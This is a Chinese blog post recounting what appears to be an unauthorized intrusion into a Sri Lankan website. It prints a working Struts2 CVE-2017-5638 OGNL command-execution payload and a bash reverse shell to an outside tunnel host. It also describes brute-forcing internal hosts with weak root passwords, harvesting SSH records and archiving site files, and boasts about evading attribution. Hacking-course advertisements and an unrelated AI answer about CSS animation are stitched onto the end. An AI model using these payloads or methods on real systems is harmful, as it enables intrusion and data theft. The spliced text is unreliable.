记一次丝滑的渗透测试,(非常详细)零基础入门到精通,收藏这篇就够了

注意:本文章仅用于技术交流学习,请勿用于非法用途,否则后果自负

本次测试的是一个斯里兰卡的站点,相关内容均厚码处理

fofa返回的结果是只有四个资产且全部都是一个域名下的

这是一个后台,但酷酷习题大法在这里已经没用了,由于站点比较冷门,筛不到这个站点,只能一边用漏扫一边手动测。

由于它是后台,我首先想到了sql注入,直接抓到请求包然后扔sqlmap跑

根据其前台的功能点,又找到一处与数据库交互的地方:

分别用sqlmap跑这两个post包后,均失败

此时再查看漏扫:

CVE-2023-48795,是ssh前缀截断攻击,其原理为:攻击者可以在初始密钥交换期间注入任意数量的SSH消息,并在交换完成后移除相同数量的消息,从而破坏SSH扩展协商(RFC8308),可降级连接的安全性。但是,它的利用条件比较苛刻,需要从本地网络发起,这点我们是做不到的。

CVE-2017-5638,这是一个RCE(没想到24年扫到了17年的老洞),这个单位的运维也是上大分了,这个利用很简单,只需要改请求包中Content-Type的值即可实现rce

poc:

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

那么直接发请求包:

也是成功利用了。

先看看它可以通过什么方式反弹shell

whereis nc bash python php exec lua perl ruby

尝试通过nc反弹shell(由于担心攻击机被溯源,我开代理+内网穿透):

不知道为什么连不上,再试试bash反弹:

bash -i >& /dev/tcp/16.tcp.cpolar.top/14898 0>&1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这次成功了

回头看cve-2023-48795,它攻击面较小,条件也是苛刻中的苛刻,这里我附上相关文章,各位感兴趣的观众可以去看看

https://blog.youkuaiyun.com/Xxy605/article/details/135199758

这里我想看看它都开着什么端口,本能地输入了一个nmap,没想到还真有(运维上大分)

因为可以出网啥的,我就直接塞了个fscan进去,然后开始扫端口,ip

开了个zabbix

扫了一顿啥也没有,一看版权信息是2019的,搜一下历史洞

搜到了cve-2022-23131,cve-2024-22116,不过这些漏洞均无法利用。

这里尝试./fscan -h 172.20.1.1/16 -c id -t 100000来爆破一下内网机器

扫了一顿发现172.20段有且只有172.20.252.1存在弱口令(root:root),然后history看到前面的几条命令有很多ssh连接记录(记录均为内网),果断翻找ssh凭据,同时fscan扫描整个172段

像这样的ip出来了28个

测试了一下也都可以登上去,只能说逆天

也可以出网

此时我黄豆就开始幻想了,幻想自己是比肩年姐那样的顶尖红队大玉,可以手撕内网

为了拓宽攻击面,我 cat ~/.ssh/known_hosts

只有可怜的五台(172.20.252.2还登不上去)

然后再来看3389(windows上的内网渗透容易于linux)

未果

那现在只能先脱网站文件,审计来扩大攻击面了(又特么回到起点了)

tar -cvf 114514.tar *

一边脱着,我就想看看他装了什么软件,直接yum list,然后给我报了个这个玩意:

没想到还有个邮服,属于是意外之喜了

目前收获:内网机器*28,邮服*1

然后审到了数据库账号密码,想进一步看看数据库,没想到这羁绊系统,虽然有17年的陈年nday但是还有蓝队值守,给我光速拔线了

屋檐了。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

<think>好的,我需要帮助用户实现一个平的方块移动动画,使用CSS或JavaScript。首先,用户的问题是关于如何实现平移动的,我需要先回顾一下相关的知识,然后结合提供的引用内容来给出合适的解决方案。 首先,查看用户提供的引用内容。引用[1]提到CSS动画和JavaScript动画各有优势,CSS适合简单动画,JavaScript适合复杂控制。引用[3]和[4]给出了JavaScript实现移动的例子,尤其是缓动效果,引用[4]还提到了使用CSS的steps函数,但用户想要的是平移动,所以可能需要不同的CSS动画属性。 接下来,我需要考虑两种方法:CSS和JavaScript。对于CSS,使用transition或者@keyframes动画可能更简单。比如,通过改变left属性,并添加transition属性来实现平过渡。或者使用transform: translateX(),因为transform在性能上更好,尤其是在涉及重绘时。 对于JavaScript方法,引用[3]中的例子使用了定时器和缓动函数,每次移动剩余距离的一部分,这样能实现平的减速效果。用户可能需要这样的缓动动画,或者匀速移动。这里需要解释两种方式的代码结构,并比较它们的优缺点。 另外,引用[4]中的CSS动画使用了steps函数,但那适用于逐帧动画,比如精灵图动画。而用户需要的是平移动,所以应该使用线性或缓动的时间函数,比如ease-in-out。 现在需要组织回答,先介绍CSS方法,再介绍JavaScript方法,每种方法给出示例代码,并说明其工作原理。同时,需要指出哪种情况下选择哪种方法更合适,比如简单动画用CSS,复杂控制用JS。 还需要注意用户提到的“平移动”,所以在CSS中使用transition的timing-function,或者在JS中使用requestAnimationFrame来优化性能,避免使用setInterval可能导致的卡顿。 最后,生成相关问题,帮助用户深入理解,比如比较两种方法的性能,如何添加缓动效果,或者如何组合使用CSS和JS。 检查是否有遗漏,比如是否需要考虑浏览器兼容性,但用户没有特别提到,所以可能不需要深入。确保代码示例正确,比如在CSS中使用transform,或者在JS中使用requestAnimationFrame来实现更流畅的动画。 总结步骤: 1. CSS实现方法,使用transition或@keyframes。 2. JavaScript实现方法,使用定时器或requestAnimationFrame,加上缓动函数。 3. 分别给出代码示例。 4. 比较两种方法的优缺点。 5. 生成相关问题。</think>### 实现平方块移动动画的方法 #### 一、使用CSS实现 1. **通过`transition`实现平移动** 修改方块的`left`或`transform`属性,并添加`transition`属性实现过渡效果: ```css .box { position: absolute; left: 0; width: 50px; height: 50px; background: #3498db; transition: left 1s ease-in-out; /* 控制left属性变化 */ /* 或使用transform优化性能 */ /* transition: transform 1s ease-in-out; */ } ``` ```javascript // 触发移动 document.querySelector(".box").style.left = "200px"; // 或使用transform // document.querySelector(".box").style.transform = "translateX(200px)"; ``` **优点**:代码简洁,性能优化较好(尤其使用`transform`)[^1]。 2. **通过`@keyframes`定义动画** 使用关键帧控制移动路径: ```css @keyframes slide { from { transform: translateX(0); } to { transform: translateX(200px); } } .box { animation: slide 1s ease-in-out forwards; } ``` --- #### 二、使用JavaScript实现 1. **通过`requestAnimationFrame`逐帧控制** 使用缓动函数实现平减速效果(类似引用[3]的优化): ```javascript function smoothMove(element, targetX) { let currentX = 0; function animate() { currentX += (targetX - currentX) * 0.1; // 缓动系数 element.style.transform = `translateX(${currentX}px)`; if (Math.abs(targetX - currentX) > 0.5) { requestAnimationFrame(animate); } } animate(); } smoothMove(document.querySelector(".box"), 200); ``` **优点**:可自定义缓动效果,适合复杂动画[^3]。 2. **通过定时器实现匀速移动** 线性匀速移动(适合简单场景): ```javascript function linearMove(element, targetX, duration) { const startX = 0; const startTime = Date.now(); function update() { const elapsed = Date.now() - startTime; const progress = Math.min(elapsed / duration, 1); element.style.transform = `translateX(${progress * targetX}px)`; if (progress < 1) requestAnimationFrame(update); } update(); } linearMove(document.querySelector(".box"), 200, 1000); ``` --- #### 三、方法对比 | 方法 | 适用场景 | 性能 | 控制灵活性 | |--------------------|----------------------------|------------|------------| | CSS `transition` | 简单位移、透明度变化 | 高 | 低 | | CSS `@keyframes` | 复杂路径动画 | 高 | 中 | | JavaScript缓动动画 | 需要动态调整参数或复杂交互 | 中(需优化)| 高 | ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值